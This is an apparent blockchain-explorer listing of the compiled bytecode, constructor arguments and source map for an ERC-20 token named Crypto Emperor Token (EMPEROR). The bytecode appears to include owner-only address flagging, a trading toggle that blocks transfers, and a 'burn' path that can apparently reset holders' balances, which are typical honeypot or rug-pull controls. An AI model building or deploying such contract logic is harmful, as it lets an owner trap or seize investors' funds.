ffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611173576000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561116e57600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f435760008114610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f35906118ce565b60405180910390fd5b61116d565b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610fd85760008111610fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fce906118ce565b60405180910390fd5b5b610fe38383836113cf565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561106a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110619061184e565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110ff9190611980565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611163919061192e565b60405180910390a3505b5b6111ca565b60011515600760009054906101000a900460ff161515146111c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c0906118ce565b60405180910390fd5b5b6111d58383836113d4565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561124a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112419061188e565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906117ee565b60405180910390fd5b816008546112df91906119d6565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461133491906119d6565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611399919061192e565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b6000813590506113e881611e49565b92915050565b60008083601f84011261140057600080fd5b8235905067ffffffffffffffff81111561141957600080fd5b60208301915083602082028301111561143157600080fd5b9250929050565b60008135905061144781611e60565b92915050565b60008135905061145c81611e77565b92915050565b60006020828403121561147457600080fd5b6000611482848285016113d9565b91505092915050565b6000806040838503121561149e57600080fd5b60006114ac858286016113d9565b92505060206114bd858286016113d9565b9150509250929050565b6000806000606084860312156114dc57600080fd5b60006114ea868287016113d9565b93505060206114fb868287016113d9565b925050604061150c8682870161144d565b9150509250925092565b6000806040838503121561152957600080fd5b6000611537858286016113d9565b92505060206115488582860161144d565b9150509250929050565b60008060006040848603121561156757600080fd5b600084013567ffffffffffffffff81111561158157600080fd5b61158d868287016113ee565b935093505060206115a086828701611438565b9150509250925092565b6115b381611a1c565b82525050565b60006115c482611964565b6115ce818561196f565b93506115de818560208601611a5f565b6115e781611b6b565b840191505092915050565b60006115ff60238361196f565b915061160a82611b7c565b604082019050919050565b600061162260228361196f565b915061162d82611bcb565b604082019050919050565b600061164560228361196f565b915061165082611c1a565b604082019050919050565b6000611668601d8361196f565b915061167382611c69565b602082019050919050565b600061168b60268361196f565b915061169682611c92565b604082019050919050565b60006116ae60208361196f565b91506116b982611ce1565b602082019050919050565b60006116d160218361196f565b91506116dc82611d0a565b604082019050919050565b60006116f460258361196f565b91506116ff82611d59565b604082019050919050565b600061171760008361196f565b915061172282611da8565b600082019050919050565b600061173a60248361196f565b915061174582611dab565b604082019050919050565b600061175d60258361196f565b915061176882611dfa565b604082019050919050565b61177c81611a48565b82525050565b61178b81611a52565b82525050565b60006020820190506117a660008301846115aa565b92915050565b600060208201905081810360008301526117c681846115b9565b905092915050565b600060208201905081810360008301526117e7816115f2565b9050919050565b6000602082019050818103600083015261180781611615565b9050919050565b6000602082019050818103600083015261182781611638565b9050919050565b600060208201905081810360008301526118478161165b565b9050919050565b600060208201905081810360008301526118678161167e565b9050919050565b60006020820190508181036000830152611887816116a1565b9050919050565b600060208201905081810360008301526118a7816116c4565b9050919050565b600060208201905081810360008301526118c7816116e7565b9050919050565b600060208201905081810360008301526118e78161170a565b9050919050565b600060208201905081810360008301526119078161172d565b9050919050565b6000602082019050818103600083015261192781611750565b9050919050565b60006020820190506119436000830184611773565b92915050565b600060208201905061195e6000830184611782565b92915050565b600081519050919050565b600082825260208201905092915050565b600061198b82611a48565b915061199683611a48565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119cb576119ca611b0d565b5b828201905092915050565b60006119e182611a48565b91506119ec83611a48565b9250828210156119ff576119fe611b0d565b5b828203905092915050565b6000611a1582611a28565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a7d578082015181840152602081019050611a62565b83811115611a8c576000848401525b50505050565b60006002820490506001821680611aaa57607f821691505b60208210811415611abe57611abd611b3c565b5b50919050565b6000611acf82611a48565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611b0257611b01611b0d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611e5281611a0a565b8114611e5d57600080fd5b50565b611e6981611a1c565b8114611e7457600080fd5b50565b611e8081611a48565b8114611e8b57600080fd5b5056fea2646970667358221220e32bbcfd0e6bed2a863438557ad035cfbf85fec9cb7e7a6418d35453c9248a0464736f6c63430008010033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000ba43b74000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000001443727970746f20456d7065726f7220546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000007454d5045524f5200000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a08231116100975780639dc29fac116100665780639dc29fac14610288578063a457c2d7146102a4578063a9059cbb146102d4578063dd62ed3e14610304576100f5565b806370a082311461020057806391b69fa01461023057806395d89b411461023a57806399e7061b14610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780636d302ac2146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610334565b60405161010f91906117ac565b60405180910390f35b610132600480360381019061012d9190611516565b6103c6565b60405161013f9190611791565b60405180910390f35b6101506103e9565b60405161015d919061192e565b60405180910390f35b610180600480360381019061017b91906114c7565b6103f3565b60405161018d9190611791565b60405180910390f35b61019e610422565b6040516101ab9190611949565b60405180910390f35b6101ce60048036038101906101c99190611516565b61042b565b6040516101db9190611791565b60405180910390f35b6101fe60048036038101906101f99190611552565b6104d5565b005b61021a60048036038101906102159190611462565b610635565b604051610227919061192e565b60405180910390f35b61023861067e565b005b61024261076d565b60405161024f91906117ac565b60405180910390f35b610272600480360381019061026d9190611462565b6107ff565b60405161027f9190611791565b60405180910390f35b6102a2600480360381019061029d9190611516565b610855565b005b6102be60048036038101906102b99190611516565b6108f8565b6040516102cb9190611791565b60405180910390f35b6102ee60048036038101906102e99190611516565b6109e2565b6040516102fb9190611791565b60405180910390f35b61031e6004803603810190610319919061148b565b610a05565b60405161032b919061192e565b60405180910390f35b60606005805461034390611a92565b80601f016020809104026020016040519081016040528092919081815260200182805461036f90611a92565b80156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b5050505050905090565b6000806103d1610a8c565b90506103de818585610a94565b600191505092915050565b6000600354905090565b6000806103fe610a8c565b905061040b858285610c5f565b610416858585610ceb565b60019150509392505050565b60006009905090565b600080610436610a8c565b90506104ca818585600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104c59190611980565b610a94565b600191505092915050565b6104dd610a8c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105619061186e565b60405180910390fd5b60005b8383905081101561062f5781600960008686858181106105b6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906105cb9190611462565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061062790611ac4565b91505061056d565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610686610a8c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610713576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070a9061186e565b60405180910390fd5b60001515600760009054906101000a900460ff161515141561074f576001600760006101000a81548160ff02191690831515021790555061076b565b6000600760006101000a81548160ff0219169083151502179055505b565b60606006805461077c90611a92565b80601f01602080910402602001604051908101604052809291908181526020018280546107a890611a92565b80156107f55780601f106107ca576101008083540402835291602001916107f5565b820191906000526020600020905b8154815290600101906020018083116107d857829003601f168201915b5050505050905090565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61085d610a8c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e19061186e565b60405180910390fd5b6108f482826111da565b5050565b600080610903610a8c565b90506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c09061190e565b60405180910390fd5b6109d68286868403610a94565b60019250505092915050565b6000806109ed610a8c565b90506109fa818585610ceb565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb906118ee565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6b9061180e565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c52919061192e565b60405180910390a3505050565b6000610c6b8484610a05565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ce55781811015610cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cce9061182e565b60405180910390fd5b610ce48484848403610a94565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d52906118ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc2906117ce565b60405180910390fd5b60011515600760009054906101000a900460ff1615151480610e1f5750610df06113a6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610e5c5750610e2d6113a6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611173576000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561116e57600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f435760008114610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f35906118ce565b60405180910390fd5b61116d565b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610fd85760008111610fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fce906118ce565b60405180910390fd5b5b610fe38383836113cf565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561106a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110619061184e565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110ff9190611980565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611163919061192e565b60405180910390a3505b5b6111ca565b60011515600760009054906101000a900460ff161515146111c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c0906118ce565b60405180910390fd5b5b6111d58383836113d4565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561124a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112419061188e565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906117ee565b60405180910390fd5b816008546112df91906119d6565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461133491906119d6565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611399919061192e565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b6000813590506113e881611e49565b92915050565b60008083601f84011261140057600080fd5b8235905067ffffffffffffffff81111561141957600080fd5b60208301915083602082028301111561143157600080fd5b9250929050565b60008135905061144781611e60565b92915050565b60008135905061145c81611e77565b92915050565b60006020828403121561147457600080fd5b6000611482848285016113d9565b91505092915050565b6000806040838503121561149e57600080fd5b60006114ac858286016113d9565b92505060206114bd858286016113d9565b9150509250929050565b6000806000606084860312156114dc57600080fd5b60006114ea868287016113d9565b93505060206114fb868287016113d9565b925050604061150c8682870161144d565b9150509250925092565b6000806040838503121561152957600080fd5b6000611537858286016113d9565b92505060206115488582860161144d565b9150509250929050565b60008060006040848603121561156757600080fd5b600084013567ffffffffffffffff81111561158157600080fd5b61158d868287016113ee565b935093505060206115a086828701611438565b9150509250925092565b6115b381611a1c565b82525050565b60006115c482611964565b6115ce818561196f565b93506115de818560208601611a5f565b6115e781611b6b565b840191505092915050565b60006115ff60238361196f565b915061160a82611b7c565b604082019050919050565b600061162260228361196f565b915061162d82611bcb565b604082019050919050565b600061164560228361196f565b915061165082611c1a565b604082019050919050565b6000611668601d8361196f565b915061167382611c69565b602082019050919050565b600061168b60268361196f565b915061169682611c92565b604082019050919050565b60006116ae60208361196f565b91506116b982611ce1565b602082019050919050565b60006116d160218361196f565b91506116dc82611d0a565b604082019050919050565b60006116f460258361196f565b91506116ff82611d59565b604082019050919050565b600061171760008361196f565b915061172282611da8565b600082019050919050565b600061173a60248361196f565b915061174582611dab565b604082019050919050565b600061175d60258361196f565b915061176882611dfa565b604082019050919050565b61177c81611a48565b82525050565b61178b81611a52565b82525050565b60006020820190506117a660008301846115aa565b92915050565b600060208201905081810360008301526117c681846115b9565b905092915050565b600060208201905081810360008301526117e7816115f2565b9050919050565b6000602082019050818103600083015261180781611615565b9050919050565b6000602082019050818103600083015261182781611638565b9050919050565b600060208201905081810360008301526118478161165b565b9050919050565b600060208201905081810360008301526118678161167e565b9050919050565b60006020820190508181036000830152611887816116a1565b9050919050565b600060208201905081810360008301526118a7816116c4565b9050919050565b600060208201905081810360008301526118c7816116e7565b9050919050565b600060208201905081810360008301526118e78161170a565b9050919050565b600060208201905081810360008301526119078161172d565b9050919050565b6000602082019050818103600083015261192781611750565b9050919050565b60006020820190506119436000830184611773565b92915050565b600060208201905061195e6000830184611782565b92915050565b600081519050919050565b600082825260208201905092915050565b600061198b82611a48565b915061199683611a48565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119cb576119ca611b0d565b5b828201905092915050565b60006119e182611a48565b91506119ec83611a48565b9250828210156119ff576119fe611b0d565b5b828203905092915050565b6000611a1582611a28565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a7d578082015181840152602081019050611a62565b83811115611a8c576000848401525b50505050565b60006002820490506001821680611aaa57607f821691505b60208210811415611abe57611abd611b3c565b5b50919050565b6000611acf82611a48565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611b0257611b01611b0d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611e5281611a0a565b8114611e5d57600080fd5b50565b611e6981611a1c565b8114611e7457600080fd5b50565b611e8081611a48565b8114611e8b57600080fd5b5056fea2646970667358221220e32bbcfd0e6bed2a863438557ad035cfbf85fec9cb7e7a6418d35453c9248a0464736f6c63430008010033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000ba43b74000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000001443727970746f20456d7065726f7220546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000007454d5045524f5200000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): Crypto Emperor Token
Arg [1] : symbol (string): EMPEROR
Arg [2] : totalSupply (uint256): 50000000000
Arg [3] : initTransfer (bool): True

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000ba43b7400
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000001
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000014
Arg [5] : 43727970746f20456d7065726f7220546f6b656e000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [7] : 454d5045524f5200000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

2358:353:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2583:100:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4933:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3702:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5714:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3545:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6418:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13727:235;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3873:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2181:160;;;:::i;:::-;;2802:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2349:164;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2601:107:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7161:438:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4206:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4462:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2583:100;2637:13;2670:5;2663:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2583:100;:::o;4933:201::-;5016:4;5033:13;5049:12;:10;:12::i;:::-;5033:28;;5072:32;5081:5;5088:7;5097:6;5072:8;:32::i;:::-;5122:4;5115:11;;;4933:201;;;;:::o;3702:108::-;3763:7;3790:12;;3783:19;;3702:108;:::o;5714:295::-;5845:4;5862:15;5880:12;:10;:12::i;:::-;5862:30;;5903:38;5919:4;5925:7;5934:6;5903:15;:38::i;:::-;5952:27;5962:4;5968:2;5972:6;5952:9;:27::i;:::-;5997:4;5990:11;;;5714:295;;;;;:::o;3545:92::-;3603:5;3628:1;3621:8;;3545:92;:::o;6418:240::-;6506:4;6523:13;6539:12;:10;:12::i;:::-;6523:28;;6562:66;6571:5;6578:7;6617:10;6587:11;:18;6599:5;6587:18;;;;;;;;;;;;;;;:27;6606:7;6587:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;6562:8;:66::i;:::-;6646:4;6639:11;;;6418:240;;;;:::o;13727:235::-;765:12;:10;:12::i;:::-;755:22;;:6;;;;;;;;;;:22;;;747:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13811:9:::1;13806:149;13830:4;;:11;;13826:1;:15;13806:149;;;13940:3;13863:65;:74;13929:4;;13934:1;13929:7;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13863:74;;;;;;;;;;;;;;;;:80;;;;;;;;;;;;;;;;;;13843:3;;;;;:::i;:::-;;;;13806:149;;;;13727:235:::0;;;:::o;3873:127::-;3947:7;3974:9;:18;3984:7;3974:18;;;;;;;;;;;;;;;;3967:25;;3873:127;;;:::o;2181:160::-;765:12;:10;:12::i;:::-;755:22;;:6;;;;;;;;;;:22;;;747:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2256:5:::1;2239:22;;:13;;;;;;;;;;;:22;;;2235:99;;;2289:4;2273:13;;:20;;;;;;;;;;;;;;;;;;2235:99;;;2327:5;2311:13;;:21;;;;;;;;;;;;;;;;;;2235:99;2181:160::o:0;2802:104::-;2858:13;2891:7;2884:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2802:104;:::o;2349:164::-;2407:4;2431:65;:74;2497:7;2431:74;;;;;;;;;;;;;;;;;;;;;;;;;2424:81;;2349:164;;;:::o;2601:107:0:-;765:12:1;:10;:12::i;:::-;755:22;;:6;;;;;;;;;;:22;;;747:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2678:22:0::1;2684:7;2693:6;2678:5;:22::i;:::-;2601:107:::0;;:::o;7161:438:1:-;7254:4;7271:13;7287:12;:10;:12::i;:::-;7271:28;;7310:24;7337:11;:18;7349:5;7337:18;;;;;;;;;;;;;;;:27;7356:7;7337:27;;;;;;;;;;;;;;;;7310:54;;7403:15;7383:16;:35;;7375:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7496:60;7505:5;7512:7;7540:15;7521:16;:34;7496:8;:60::i;:::-;7587:4;7580:11;;;;7161:438;;;;:::o;4206:193::-;4285:4;4302:13;4318:12;:10;:12::i;:::-;4302:28;;4341;4351:5;4358:2;4362:6;4341:9;:28::i;:::-;4387:4;4380:11;;;4206:193;;;;:::o;4462:151::-;4551:7;4578:11;:18;4590:5;4578:18;;;;;;;;;;;;;;;:27;4597:7;4578:27;;;;;;;;;;;;;;;;4571:34;;4462:151;;;;:::o;842:98::-;895:7;922:10;915:17;;842:98;:::o;11146:380::-;11299:1;11282:19;;:5;:19;;;;11274:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11380:1;11361:21;;:7;:21;;;;11353:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11464:6;11434:11;:18;11446:5;11434:18;;;;;;;;;;;;;;;:27;11453:7;11434:27;;;;;;;;;;;;;;;:36;;;;11502:7;11486:32;;11495:5;11486:32;;;11511:6;11486:32;;;;;;:::i;:::-;;;;;;;;11146:380;;;:::o;11813:453::-;11948:24;11975:25;11985:5;11992:7;11975:9;:25::i;:::-;11948:52;;12035:17;12015:16;:37;12011:248;;12097:6;12077:16;:26;;12069:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12181:51;12190:5;12197:7;12225:6;12206:16;:25;12181:8;:51::i;:::-;12011:248;11813:453;;;;:::o;8078:1177::-;8225:1;8209:18;;:4;:18;;;;8201:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8302:1;8288:16;;:2;:16;;;;8280:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8376:4;8359:21;;:13;;;;;;;;;;;:21;;;:40;;;;8392:7;:5;:7::i;:::-;8384:15;;:4;:15;;;8359:40;:57;;;;8409:7;:5;:7::i;:::-;8403:13;;:2;:13;;;8359:57;8355:845;;;8454:1;8436:9;:15;8446:4;8436:15;;;;;;;;;;;;;;;;:19;8433:712;;;8475:65;:71;8541:4;8475:71;;;;;;;;;;;;;;;;;;;;;;;;;8471:663;;;8568:1;8558:6;:11;8549:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;8471:663;;;8617:65;:69;8683:2;8617:69;;;;;;;;;;;;;;;;;;;;;;;;;8613:96;;8703:1;